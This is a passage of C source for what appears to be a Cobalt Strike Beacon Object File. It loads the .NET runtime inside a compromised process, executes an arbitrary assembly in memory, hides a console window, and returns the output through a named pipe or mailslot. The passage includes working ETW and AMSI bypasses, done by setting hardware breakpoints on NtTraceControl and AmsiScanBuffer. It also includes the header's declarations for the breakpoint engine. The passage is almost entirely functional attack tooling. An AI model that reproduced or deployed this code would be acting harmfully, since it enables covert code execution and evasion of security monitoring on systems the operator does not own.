FALSE; 352 | } 353 | 354 | //Copy mailslot output to returnData buffer 355 | MSVCRT$_snprintf(output + MSVCRT$strlen(output), MSVCRT$strlen(lpszBuffer) + 1, "%s", lpszBuffer); 356 | 357 | fResult = GetMailslotInfo(*mailHandle, //Mailslot handle 358 | (LPDWORD)NULL, //No maximum message size 359 | &cbMessage, //Size of next message 360 | &cMessage, //Number of messages 361 | (LPDWORD)NULL); //No read time-out 362 | 363 | if (!fResult) 364 | { 365 | return FALSE; 366 | } 367 | 368 | } 369 | 370 | cbMessage = 0; 371 | KERNEL32$GlobalFree((HGLOBAL)lpszBuffer); 372 | _CloseHandle CloseHandle = (_CloseHandle)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CloseHandle"); 373 | CloseHandle(hEvent); 374 | return TRUE; 375 | } 376 | 377 | /*Determine if .NET assembly is v4 or v2*/ 378 | BOOL FindVersion(void* assembly, int length) { 379 | char* assembly_c; 380 | assembly_c = (char*)assembly; 381 | char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 }; 382 | 383 | for (int i = 0; i < length; i++) 384 | { 385 | for (int j = 0; j < 10; j++) 386 | { 387 | if (v4[j] != assembly_c[i + j]) 388 | { 389 | break; 390 | } 391 | else 392 | { 393 | if (j == (9)) 394 | { 395 | return 1; 396 | } 397 | } 398 | } 399 | } 400 | 401 | return 0; 402 | } 403 | 404 | 405 | /*Start CLR*/ 406 | static BOOL StartCLR(LPCWSTR dotNetVersion, ICLRMetaHost** ppClrMetaHost, ICLRRuntimeInfo** ppClrRuntimeInfo, ICorRuntimeHost** ppICorRuntimeHost) { 407 | 408 | //Declare variables 409 | HRESULT hr = NULL; 410 | 411 | //Get the CLRMetaHost that tells us about .NET on this machine 412 | hr = MSCOREE$CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost); 413 | 414 | if (hr == S_OK) 415 | { 416 | //Get the runtime information for the particular version of .NET 417 | hr = (*ppClrMetaHost)->lpVtbl->GetRuntime(*ppClrMetaHost, dotNetVersion, &xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo); 418 | if (hr == S_OK) 419 | { 420 | /*Check if the specified runtime can be loaded into the process. This method will take into account other runtimes that may already be 421 | loaded into the process and set fLoadable to TRUE if this runtime can be loaded in an in-process side-by-side fashion.*/ 422 | BOOL fLoadable; 423 | hr = (*ppClrRuntimeInfo)->lpVtbl->IsLoadable(*ppClrRuntimeInfo, &fLoadable); 424 | if ((hr == S_OK) && fLoadable) 425 | { 426 | //Load the CLR into the current process and return a runtime interface pointer. -> CLR changed to ICor which is deprecated but works 427 | hr = (*ppClrRuntimeInfo)->lpVtbl->GetInterface(*ppClrRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)ppICorRuntimeHost); 428 | if (hr == S_OK) 429 | { 430 | //Start it. This is okay to call even if the CLR is already running 431 | (*ppICorRuntimeHost)->lpVtbl->Start(*ppICorRuntimeHost); 432 | } 433 | else 434 | { 435 | //If CLR fails to load fail gracefully 436 | BeaconPrintf(CALLBACK_ERROR, "[-] Process refusing to get interface of %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion); 437 | return 0; 438 | } 439 | } 440 | else 441 | { 442 | //If CLR fails to load fail gracefully 443 | BeaconPrintf(CALLBACK_ERROR, "[-] Process refusing to load %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion); 444 | return 0; 445 | } 446 | } 447 | else 448 | { 449 | //If CLR fails to load fail gracefully 450 | BeaconPrintf(CALLBACK_ERROR, "[-] Process refusing to get runtime of %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion); 451 | return 0; 452 | } 453 | } 454 | else 455 | { 456 | //If CLR fails to load fail gracefully 457 | BeaconPrintf(CALLBACK_ERROR, "[-] Process refusing to create %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion); 458 | return 0; 459 | } 460 | 461 | //CLR loaded successfully 462 | return 1; 463 | } 464 | 465 | /*Check Console Exists*/ 466 | static BOOL consoleExists(void) {//https://www.devever.net/~hl/win32con 467 | _GetConsoleWindow GetConsoleWindow = (_GetConsoleWindow)GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetConsoleWindow"); 468 | return !!GetConsoleWindow(); 469 | } 470 | 471 | /*BOF Entry Point*/ 472 | void go(char* args, int length) {//Executes .NET assembly in memory 473 | 474 | //Declare beacon parser variables 475 | datap parser; 476 | BeaconDataParse(&parser, args, length); 477 | char* appDomain = NULL; 478 | char* assemblyArguments = NULL; 479 | char* pipeName = NULL; 480 | char* slotName = NULL; 481 | BOOL amsi = 0; 482 | BOOL etw = 0; 483 | BOOL mailSlot = 0; 484 | ULONG entryPoint = 1; 485 | size_t assemblyByteLen = 0; 486 | 487 | //Extract data sent 488 | appDomain = BeaconDataExtract(&parser, NULL); 489 | amsi = BeaconDataInt(&parser); 490 | etw = BeaconDataInt(&parser); 491 | mailSlot = BeaconDataInt(&parser); 492 | entryPoint = BeaconDataInt(&parser); 493 | slotName = BeaconDataExtract(&parser, NULL); 494 | pipeName = BeaconDataExtract(&parser, NULL); 495 | assemblyArguments = BeaconDataExtract(&parser, NULL); 496 | assemblyByteLen = BeaconDataInt(&parser); 497 | char* assemblyBytes = BeaconDataExtract(&parser, NULL); 498 | 499 | //Create slot and pipe names 500 | SIZE_T pipeNameLen = MSVCRT$strlen(pipeName); 501 | char* pipePath = MSVCRT$malloc(pipeNameLen + 10); 502 | MSVCRT$memset(pipePath, 0, pipeNameLen + 10); 503 | MSVCRT$memcpy(pipePath, "\\\\.\\pipe\\", 9); 504 | MSVCRT$memcpy(pipePath + 9, pipeName, pipeNameLen + 1); 505 | 506 | SIZE_T slotNameLen = MSVCRT$strlen(slotName); 507 | char* slotPath = MSVCRT$malloc(slotNameLen + 14); 508 | MSVCRT$memset(slotPath, 0, slotNameLen + 14); 509 | MSVCRT$memcpy(slotPath, "\\\\.\\mailslot\\", 13); 510 | MSVCRT$memcpy(slotPath + 13, slotName, slotNameLen + 1); 511 | 512 | //Declare other variables 513 | HRESULT hr = NULL; 514 | ICLRMetaHost* pClrMetaHost = NULL;//done 515 | ICLRRuntimeInfo* pClrRuntimeInfo = NULL;//done 516 | ICorRuntimeHost* pICorRuntimeHost = NULL; 517 | IUnknown* pAppDomainThunk = NULL; 518 | AppDomain* pAppDomain = NULL; 519 | Assembly* pAssembly = NULL; 520 | MethodInfo* pMethodInfo = NULL; 521 | VARIANT vtPsa = { 0 }; 522 | SAFEARRAYBOUND rgsabound[1] = { 0 }; 523 | wchar_t* wAssemblyArguments = NULL; 524 | wchar_t* wAppDomain = NULL; 525 | wchar_t* wNetVersion = NULL; 526 | LPWSTR* argumentsArray = NULL; 527 | int argumentCount = 0; 528 | HANDLE stdOutput; 529 | HANDLE stdError; 530 | HANDLE mainHandle; 531 | HANDLE hFile; 532 | size_t wideSize = 0; 533 | size_t wideSize2 = 0; 534 | BOOL success = 1; 535 | size_t size = 65535; 536 | char* returnData = (char*)intAlloc(size); 537 | memset(returnData, 0, size); 538 | 539 | /* 540 | BeaconPrintf(CALLBACK_OUTPUT, "[+] appdomain = %s\n", appDomain);//Debug Only 541 | BeaconPrintf(CALLBACK_OUTPUT, "[+] amsi = %d\n", amsi);//Debug Only 542 | BeaconPrintf(CALLBACK_OUTPUT, "[+] etw = %d\n", etw);//Debug Only 543 | BeaconPrintf(CALLBACK_OUTPUT, "[+] mailSlot = %d\n", mailSlot);//Debug Only 544 | BeaconPrintf(CALLBACK_OUTPUT, "[+] entryPoint = %d\n", entryPoint);//Debug Only 545 | BeaconPrintf(CALLBACK_OUTPUT, "[+] mailSlot name = %s\n", slotName);//Debug Only 546 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Pipe name = %s\n", pipeName);//Debug Only 547 | BeaconPrintf(CALLBACK_OUTPUT, "[+] pipePath name = %s\n", pipePath);//Debug Only 548 | BeaconPrintf(CALLBACK_OUTPUT, "[+] mailslot Path name = %s\n", slotPath);//Debug Only 549 | BeaconPrintf(CALLBACK_OUTPUT, "[+] assemblyArguments = %s\n", assemblyArguments);//Debug Only 550 | BeaconPrintf(CALLBACK_OUTPUT, "[+] assemblyByteLen = %d\n", assemblyByteLen);//Debug Only 551 | */ 552 | 553 | //Determine .NET assemblie version 554 | if (FindVersion((void*)assemblyBytes, assemblyByteLen)) 555 | { 556 | wNetVersion = L"v4.0.30319"; 557 | } 558 | else 559 | { 560 | wNetVersion = L"v2.0.50727"; 561 | } 562 | 563 | //Convert assemblyArguments to wide string wAssemblyArguments to pass to loaded .NET assmebly 564 | size_t convertedChars = 0; 565 | wideSize = MSVCRT$strlen(assemblyArguments) + 1; 566 | wAssemblyArguments = (wchar_t*)MSVCRT$malloc(wideSize * sizeof(wchar_t)); 567 | MSVCRT$mbstowcs_s(&convertedChars, wAssemblyArguments, wideSize, assemblyArguments, _TRUNCATE); 568 | 569 | //Convert appDomain to wide string wAppDomain to pass to CreateDomain 570 | size_t convertedChars2 = 0; 571 | wideSize2 = MSVCRT$strlen(appDomain) + 1; 572 | wAppDomain = (wchar_t*)MSVCRT$malloc(wideSize2 * sizeof(wchar_t)); 573 | MSVCRT$mbstowcs_s(&convertedChars2, wAppDomain, wideSize2, appDomain, _TRUNCATE); 574 | 575 | //Get an array of arguments so arugements can be passed to .NET assembly 576 | argumentsArray = SHELL32$CommandLineToArgvW(wAssemblyArguments, &argumentCount); 577 | 578 | //Create an array of strings that will be used to hold our arguments -> needed for Main(String[] args) 579 | vtPsa.vt = (VT_ARRAY | VT_BSTR); 580 | vtPsa.parray = OLEAUT32$SafeArrayCreateVector(VT_BSTR, 0, argumentCount); 581 | 582 | for (long i = 0; i < argumentCount; i++) 583 | { 584 | //Insert the string from argumentsArray[i] into the safearray 585 | OLEAUT32$SafeArrayPutElement(vtPsa.parray, &i, OLEAUT32$SysAllocString(argumentsArray[i])); 586 | } 587 | 588 | //Setup breakpoint 589 | PVOID handler = NULL; 590 | if (etw != 0 || amsi != 0) 591 | { 592 | handler = hardware_engine_init(); 593 | if (handler == NULL) 594 | { 595 | BeaconPrintf(CALLBACK_ERROR, "[-] Failed to setup breakpoint! Abort.\n"); 596 | return; 597 | } 598 | } 599 | 600 | _GetCurrentThreadId GetCurrentThreadId = (_GetCurrentThreadId)GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetCurrentThreadId"); 601 | //Bypass ETW 602 | uintptr_t etwPatchAddr = (uintptr_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceControl"); 603 | if (etw != 0) { 604 | insert_descriptor_entry(etwPatchAddr, 0, rip_ret_patch, GetCurrentThreadId()); 605 | } 606 | 607 | //Start CLR 608 | success = StartCLR((LPCWSTR)wNetVersion, &pClrMetaHost, &pClrRuntimeInfo, &pICorRuntimeHost); 609 | 610 | //If starting CLR fails exit gracefully 611 | if (success != 1) { 612 | return; 613 | } 614 | 615 | _CreateFileA CreateFileA = (_CreateFileA)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateFileA"); 616 | if (mailSlot != 0) { 617 | 618 | //Create Mailslot 619 | success = MakeSlot(slotPath, &mainHandle); 620 | 621 | //Get a handle to our pipe or mailslot 622 | hFile = CreateFileA(slotPath, GENERIC_WRITE, FILE_SHARE_READ, (LPSECURITY_ATTRIBUTES)NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE)NULL); 623 | } 624 | else { 625 | //Create named pipe 626 | _CreateNamedPipeA CreateNamedPipeA = (_CreateNamedPipeA)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateNamedPipeA"); 627 | mainHandle = CreateNamedPipeA(pipePath, PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, PIPE_TYPE_MESSAGE, PIPE_UNLIMITED_INSTANCES, 65535, 65535, 0, NULL); 628 | 629 | //Get a handle to our previously created named pipe 630 | hFile = CreateFileA(pipePath, GENERIC_WRITE, FILE_SHARE_READ, (LPSECURITY_ATTRIBUTES)NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE)NULL); 631 | } 632 | 633 | //Attach or create console 634 | BOOL frConsole = 0; 635 | BOOL attConsole = 0; 636 | attConsole = consoleExists(); 637 | 638 | if (attConsole != 1) 639 | { 640 | frConsole = 1; 641 | _AllocConsole AllocConsole = (_AllocConsole)GetProcAddress(GetModuleHandleA("kernel32.dll"), "AllocConsole"); 642 | _GetConsoleWindow GetConsoleWindow = (_GetConsoleWindow)GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetConsoleWindow"); 643 | AllocConsole(); 644 | 645 | //Hide Console Window 646 | HINSTANCE hinst = LoadLibrary("user32.dll"); 647 | _ShowWindow ShowWindow = (_ShowWindow)GetProcAddress(hinst, "ShowWindow"); 648 | HWND wnd = GetConsoleWindow(); 649 | if (wnd) 650 | ShowWindow(wnd, SW_HIDE); 651 | } 652 | 653 | //Get current stdout handle so we can revert stdout after we finish 654 | _GetStdHandle GetStdHandle = (_GetStdHandle)GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetStdHandle"); 655 | stdOutput = GetStdHandle(((DWORD)-11)); 656 | 657 | //Set stdout to our newly created named pipe or mail slot 658 | _SetStdHandle SetStdHandle = (_SetStdHandle)GetProcAddress(GetModuleHandleA("kernel32.dll"), "SetStdHandle"); 659 | success = SetStdHandle(((DWORD)-11), hFile); 660 | 661 | //Create our AppDomain 662 | hr = pICorRuntimeHost->lpVtbl->CreateDomain(pICorRuntimeHost, (LPCWSTR)wAppDomain, NULL, &pAppDomainThunk); 663 | hr = pAppDomainThunk->lpVtbl->QueryInterface(pAppDomainThunk, &xIID_AppDomain, (VOID**)&pAppDomain); 664 | 665 | //Bypass amsi 666 | uintptr_t amsiPatchAddr = NULL; 667 | if (amsi != 0) { 668 | HINSTANCE hinst = LoadLibraryA("amsi.dll"); 669 | amsiPatchAddr = (uintptr_t)GetProcAddress(GetModuleHandleA("amsi.dll"), "AmsiScanBuffer"); 670 | insert_descriptor_entry(amsiPatchAddr, 1, rip_ret_patch, GetCurrentThreadId()); 671 | } 672 | 673 | 674 | 675 | //Prep SafeArray 676 | rgsabound[0].cElements = assemblyByteLen; 677 | rgsabound[0].lLbound = 0; 678 | SAFEARRAY* pSafeArray = OLEAUT32$SafeArrayCreate(VT_UI1, 1, rgsabound); 679 | void* pvData = NULL; 680 | hr = OLEAUT32$SafeArrayAccessData(pSafeArray, &pvData); 681 | 682 | //Copy our assembly bytes to pvData 683 | MSVCRT$memcpy(pvData, assemblyBytes, assemblyByteLen); 684 | 685 | hr = OLEAUT32$SafeArrayUnaccessData(pSafeArray); 686 | 687 | //Prep AppDomain and EntryPoint 688 | hr = pAppDomain->lpVtbl->Load_3(pAppDomain, pSafeArray, &pAssembly); 689 | if (hr != S_OK) { 690 | //If AppDomain fails to load fail gracefully 691 | BeaconPrintf(CALLBACK_ERROR, "[-] Process refusing to load AppDomain of %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", wNetVersion); 692 | return; 693 | } 694 | hr = pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo); 695 | if (hr != S_OK) { 696 | //If EntryPoint fails to load fail gracefully 697 | BeaconPrintf(CALLBACK_ERROR, "[-] Process refusing to find entry point of assembly.\n"); 698 | return; 699 | } 700 | 701 | VARIANT retVal; 702 | ZeroMemory(&retVal, sizeof(VARIANT)); 703 | VARIANT obj; 704 | ZeroMemory(&obj, sizeof(VARIANT)); 705 | obj.vt = VT_NULL; 706 | 707 | //Change cElement to the number of Main arguments 708 | SAFEARRAY* psaStaticMethodArgs = OLEAUT32$SafeArrayCreateVector(VT_VARIANT, 0, (ULONG)entryPoint);//Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main() 709 | 710 | //Insert an array of BSTR into the VT_VARIANT psaStaticMethodArgs array 711 | long idx[1] = { 0 }; 712 | OLEAUT32$SafeArrayPutElement(psaStaticMethodArgs, idx, &vtPsa); 713 | 714 | //Invoke our .NET Method 715 | hr = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo, obj, psaStaticMethodArgs, &retVal); 716 | 717 | if (mailSlot != 0) { 718 | //Read from our mailslot 719 | success = ReadSlot(returnData, &mainHandle); 720 | } 721 | else { 722 | //Read from named pipe 723 | DWORD bytesToRead = 65535; 724 | DWORD bytesRead = 0; 725 | _ReadFile ReadFile = (_ReadFile)GetProcAddress(GetModuleHandleA("kernel32.dll"), "ReadFile"); 726 | success = ReadFile(mainHandle, (LPVOID)returnData, bytesToRead, &bytesRead, NULL); 727 | } 728 | 729 | //Send .NET assembly output back to CS 730 | BeaconPrintf(CALLBACK_OUTPUT, "\n\n%s\n", returnData); 731 | 732 | //Close handles 733 | _CloseHandle CloseHandle = (_CloseHandle)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CloseHandle"); 734 | CloseHandle(mainHandle); 735 | CloseHandle(hFile); 736 | 737 | //Revert stdout back to original handles 738 | success = SetStdHandle(((DWORD)-11), stdOutput); 739 | 740 | //Clean up 741 | if (amsi != 0) 742 | { 743 | delete_descriptor_entry(amsiPatchAddr, GetCurrentThreadId()); 744 | } 745 | if (etw != 0) 746 | { 747 | delete_descriptor_entry(etwPatchAddr, GetCurrentThreadId()); 748 | } 749 | 750 | if (etw != 0 || amsi != 0) 751 | { 752 | hardware_engine_stop(handler); 753 | } 754 | 755 | OLEAUT32$SafeArrayDestroy(pSafeArray); 756 | OLEAUT32$VariantClear(&retVal); 757 | OLEAUT32$VariantClear(&obj); 758 | OLEAUT32$VariantClear(&vtPsa); 759 | 760 | if (NULL != psaStaticMethodArgs) { 761 | OLEAUT32$SafeArrayDestroy(psaStaticMethodArgs); 762 | 763 | psaStaticMethodArgs = NULL; 764 | } 765 | if (pMethodInfo != NULL) { 766 | 767 | pMethodInfo->lpVtbl->Release(pMethodInfo); 768 | pMethodInfo = NULL; 769 | } 770 | if (pAssembly != NULL) { 771 | 772 | pAssembly->lpVtbl->Release(pAssembly); 773 | pAssembly = NULL; 774 | } 775 | if (pAppDomain != NULL) { 776 | 777 | pAppDomain->lpVtbl->Release(pAppDomain); 778 | pAppDomain = NULL; 779 | } 780 | if (pAppDomainThunk != NULL) { 781 | 782 | pAppDomainThunk->lpVtbl->Release(pAppDomainThunk); 783 | } 784 | if (pICorRuntimeHost != NULL) 785 | { 786 | (pICorRuntimeHost)->lpVtbl->UnloadDomain(pICorRuntimeHost, pAppDomainThunk); 787 | (pICorRuntimeHost) = NULL; 788 | } 789 | if (pClrRuntimeInfo != NULL) 790 | { 791 | (pClrRuntimeInfo)->lpVtbl->Release(pClrRuntimeInfo); 792 | (pClrRuntimeInfo) = NULL; 793 | } 794 | if (pClrMetaHost != NULL) 795 | { 796 | (pClrMetaHost)->lpVtbl->Release(pClrMetaHost); 797 | (pClrMetaHost) = NULL; 798 | } 799 | 800 | //Free console only if we attached one 801 | if (frConsole != 0) { 802 | _FreeConsole FreeConsole = (_FreeConsole)GetProcAddress(GetModuleHandleA("kernel32.dll"), "FreeConsole"); 803 | success = FreeConsole(); 804 | } 805 | 806 | BeaconPrintf(CALLBACK_OUTPUT, "[+] PatchlessinlineExecute-Assembly Finished\n"); 807 | } -------------------------------------------------------------------------------- /src/PatchlessinlineExecute-Assembly.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | 5 | typedef struct tagTHREADENTRY32 6 | { 7 | DWORD dwSize; 8 | DWORD cntUsage; 9 | DWORD th32ThreadID; // this thread 10 | DWORD th32OwnerProcessID; // Process this thread is associated with 11 | LONG tpBasePri; 12 | LONG tpDeltaPri; 13 | DWORD dwFlags; 14 | } THREADENTRY32; 15 | 16 | typedef THREADENTRY32* LPTHREADENTRY32; 17 | /*GetProcAddess Pointers*/ 18 | typedef DWORD(WINAPI* _GetCurrentProcessId) (void); 19 | typedef BOOL(WINAPI* _AttachConsole) (DWORD dwProcessId); 20 | typedef BOOL(WINAPI* _AllocConsole) (void); 21 | typedef HWND(WINAPI* _GetConsoleWindow) (void); 22 | typedef BOOL(WINAPI* _ShowWindow) (HWND hWnd, int nCmdShow); 23 | typedef BOOL(WINAPI* _FreeConsole) (void); 24 | typedef BOOL(WINAPI* _SetStdHandle) (DWORD nStdHandle, HANDLE hHandle); 25 | typedef HANDLE(WINAPI* _GetStdHandle) (DWORD nStdHandle); 26 | typedef BOOL(WINAPI* _CloseHandle) (HANDLE hObject); 27 | typedef _Post_equals_last_error_ DWORD(WINAPI* _GetLastError) (void); 28 | typedef int (WINAPI* _WideCharToMultiByte) (UINT CodePage, DWORD dwFlags, _In_NLS_string_(cchWideChar)LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar); 29 | typedef LPVOID(WINAPI* _CoTaskMemAlloc) (SIZE_T cb); 30 | typedef LPVOID(WINAPI* _CoTaskMemFree) (_Frees_ptr_opt_ LPVOID pv); 31 | typedef HANDLE(WINAPI* _CreateNamedPipeA) (LPCSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 32 | typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);//NtWriteVirtualMemory 33 | typedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)(HANDLE, PVOID, PULONG, ULONG, PULONG);//NtProtectVirtualMemory 34 | typedef BOOL(WINAPI* _GetThreadContext) (HANDLE hThread, LPCONTEXT lpContext); 35 | typedef BOOL(WINAPI* _SetThreadContext) (HANDLE hThread, const CONTEXT* lpContext); 36 | typedef DWORD(WINAPI* _GetCurrentThreadId) (void); 37 | typedef DWORD(WINAPI* _GetCurrentProcessId) (void); 38 | typedef HANDLE(WINAPI* _GetCurrentThread) (void); 39 | typedef HANDLE(WINAPI* _OpenThread) (DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId); 40 | typedef HANDLE(WINAPI* _CreateToolhelp32Snapshot) (DWORD dwFlags, DWORD th32ProcessID); 41 | typedef PVOID(WINAPI* _AddVectoredExceptionHandler) (ULONG First, PVECTORED_EXCEPTION_HANDLER Handler); 42 | typedef BOOL(WINAPI* _Thread32First) (HANDLE hSnapshot, LPTHREADENTRY32 lpte); 43 | typedef BOOL(WINAPI* _Thread32Next) (HANDLE hSnapshot, LPTHREADENTRY32 lpte); 44 | typedef BOOL(WINAPI* _CloseHandle) (HANDLE hObject); 45 | typedef HANDLE(WINAPI* _CreateEventA) (LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName); 46 | typedef BOOL(WINAPI* _ReadFile) (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); 47 | typedef BOOL(WINAPI* _GetMailslotInfo) (HANDLE hMailslot, LPDWORD lpMaxMessageSize,LPDWORD lpNextSize, LPDWORD lpMessageCount, LPDWORD lpReadTimeout); 48 | typedef HANDLE(WINAPI* _CreateMailslotA) (LPCSTR lpName, DWORD nMaxMessageSize, DWORD lReadTimeout, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 49 | typedef HANDLE(WINAPI* _CreateFileA) (LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD wFlagsAndAttributes, HANDLE hTemplateFile); 50 | /*BOF Defs*/ 51 | #define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) 52 | #define intZeroMemory(addr,size) memset((addr),0,size) 53 | #define memset MSVCRT$memset 54 | #define stdout (__acrt_iob_func(1)) 55 | #define STATUS_SUCCESS 0 56 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 57 | #define TOKENIZE(x) L#x 58 | #define FREE( adr ) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, adr) 59 | #define TH32CS_SNAPTHREAD 0x00000004 60 | 61 | //MSVCRT 62 | WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T); 63 | WINBASEAPI void* __cdecl MSVCRT$memcpy(void* __restrict _Dst, const void* __restrict _Src, size_t _MaxCount); 64 | WINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count); 65 | WINBASEAPI int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2); 66 | WINBASEAPI SIZE_T WINAPI MSVCRT$strlen(const char* str); 67 | WINBASEAPI int __cdecl MSVCRT$_snprintf(char* s, size_t n, const char* fmt, ...); 68 | WINBASEAPI errno_t __cdecl MSVCRT$mbstowcs_s(size_t* pReturnValue, wchar_t* wcstr, size_t sizeInWords, const char* mbstr, size_t count); 69 | WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t* _Str); 70 | WINBASEAPI char* WINAPI MSVCRT$_strlwr(char* str); 71 | WINBASEAPI char* WINAPI MSVCRT$strrchr(char* str); 72 | WINBASEAPI int __cdecl MSVCRT$_open_osfhandle(intptr_t osfhandle, int flags); 73 | WINBASEAPI int __cdecl MSVCRT$_dup2(int fd1, int fd2); 74 | WINBASEAPI int __cdecl MSVCRT$_close(int fd); 75 | //KERNEL32 76 | WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); 77 | WINBASEAPI void* WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 78 | WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE hHeap, DWORD dwFlags, _Frees_ptr_opt_ LPVOID dwBytes); 79 | WINBASEAPI int WINAPI KERNEL32$lstrlenA(LPCSTR lpString); 80 | //WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 81 | //WINBASEAPI HANDLE WINAPI KERNEL32$CreateMailslotA(LPCSTR lpName, DWORD nMaxMessageSize, DWORD lReadTimeout, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 82 | //WINBASEAPI BOOL WINAPI KERNEL32$GetMailslotInfo(HANDLE hMailslot, LPDWORD lpMaxMessageSize, LPDWORD lpNextSize, LPDWORD lpMessageCount, LPDWORD lpReadTimeout); 83 | //WINBASEAPI BOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); 84 | //WINBASEAPI HANDLE WINAPI KERNEL32$CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName); 85 | DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes); 86 | DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem); 87 | //SHELL32 88 | WINBASEAPI LPWSTR* WINAPI SHELL32$CommandLineToArgvW(LPCWSTR lpCmdLine, int* pNumArgs); 89 | //MSCOREE 90 | WINBASEAPI HRESULT WINAPI MSCOREE$CLRCreateInstance(REFCLSID clsid, REFIID riid, LPVOID* ppInterface); 91 | //OLEAUT32 92 | WINBASEAPI SAFEARRAY* WINAPI OLEAUT32$SafeArrayCreateVector(VARTYPE vt, LONG lLbound, ULONG cElements); 93 | WINBASEAPI SAFEARRAY* WINAPI OLEAUT32$SafeArrayCreate(VARTYPE vt, UINT cDims, SAFEARRAYBOUND* rgsabound); 94 | WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayAccessData(SAFEARRAY* psa, void HUGEP** ppvData); 95 | WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayUnaccessData(SAFEARRAY* psa); 96 | WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayPutElement(SAFEARRAY* psa, LONG* rgIndices, void* pv); 97 | WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY* psa); 98 | WINBASEAPI HRESULT WINAPI OLEAUT32$VariantClear(VARIANTARG* pvarg); 99 | WINBASEAPI BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR* psz); 100 | //API for breakpoint 101 | WINBASEAPI VOID WINAPI KERNEL32$InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection); 102 | WINBASEAPI VOID WINAPI KERNEL32$EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection); 103 | WINBASEAPI VOID WINAPI KERNEL32$LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection); 104 | WINBASEAPI VOID WINAPI KERNEL32$DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection); 105 | 106 | WINBASEAPI ULONG WINAPI KERNEL32$RemoveVectoredExceptionHandler(PVOID Handle); 107 | 108 | WINBASEAPI int __cdecl MSVCRT$memcmp(const void* _Buf1, const void* _Buf2, size_t _Size); 109 | 110 | typedef void (WINAPI* exception_callback)(PEXCEPTION_POINTERS); 111 | 112 | struct descriptor_entry 113 | { 114 | /* Data */ 115 | uintptr_t adr; 116 | unsigned pos; 117 | DWORD tid; 118 | exception_callback fun; 119 | 120 | 121 | struct descriptor_entry* next, * prev; 122 | }; 123 | 124 | 125 | /*CLR 